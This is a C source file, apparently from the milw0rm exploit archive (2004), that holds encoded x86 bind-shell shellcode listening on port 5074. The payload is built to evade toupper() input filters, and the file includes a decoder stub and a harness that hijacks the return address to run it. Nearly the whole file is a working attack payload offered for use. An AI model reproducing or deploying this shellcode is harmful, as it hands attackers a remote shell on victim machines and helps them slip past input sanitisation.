68 lines
No EOL
1.7 KiB
C
68 lines
No EOL
1.7 KiB
C
/*
|
|
* Bindshell puerto 5074 (TOUPPER EVASION)
|
|
* 226 bytes
|
|
* Bindshell original: Matias Sedalo (92 bytes)
|
|
*
|
|
* La binshell esta codificada usando 2 bytes para
|
|
* representar 1 byte original de la siguiente forma:
|
|
* byte original: 0xAB
|
|
* 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C
|
|
* byte codificado: [0x4B 0x4C]
|
|
*
|
|
* by Tora
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <ctype.h>
|
|
|
|
char shellcode[] =
|
|
/* _start */
|
|
"\xeb\x02" /* jmp short A */
|
|
|
|
/* A */
|
|
"\xeb\x05" /* jmp short C */
|
|
|
|
/* B */
|
|
"\xe8\xf9\xff\xff\xff" /* call A */
|
|
|
|
/* C */
|
|
"\x5f" /* pop edi */
|
|
"\x81\xef\xdf\xff\xff\xff" /* sub edi, 0xffffffdf */
|
|
"\x57" /* push edi */
|
|
"\x5e" /* pop esi */
|
|
"\x29\xc9" /* sub ecx, ecx */
|
|
"\x80\xc1\xb8" /* add cl, 0xb8 */
|
|
|
|
/* bucle */
|
|
"\x8a\x07" /* mov al, byte [edi] */
|
|
"\x2c\x41" /* sub al, 0x41 */
|
|
"\xc0\xe0\x04" /* shl al, 4 */
|
|
"\x47" /* inc edi */
|
|
"\x02\x07" /* add al, byte [edi] */
|
|
"\x2c\x41" /* sub al, 0x41 */
|
|
"\x88\x06" /* mov byte [esi], al */
|
|
"\x46" /* inc esi */
|
|
"\x47" /* inc edi */
|
|
"\x49" /* dec ecx */
|
|
"\xe2\xed" /* loop bucle */
|
|
/* Shellcode codificada de 184 (0xb8) bytes */
|
|
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB"
|
|
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA"
|
|
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO"
|
|
"BLAALMNIA";
|
|
|
|
int main(void)
|
|
{
|
|
int *ret;
|
|
char *t;
|
|
|
|
for (t = shellcode; *t; t++)
|
|
if (islower(*t))
|
|
*t = toupper(*t);
|
|
|
|
ret=(int *)&ret +3;
|
|
printf("Shellcode lenght=%d\n",strlen(shellcode));
|
|
(*ret) = (int)shellcode;
|
|
}
|
|
|
|
// milw0rm.com [2004-09-26]
|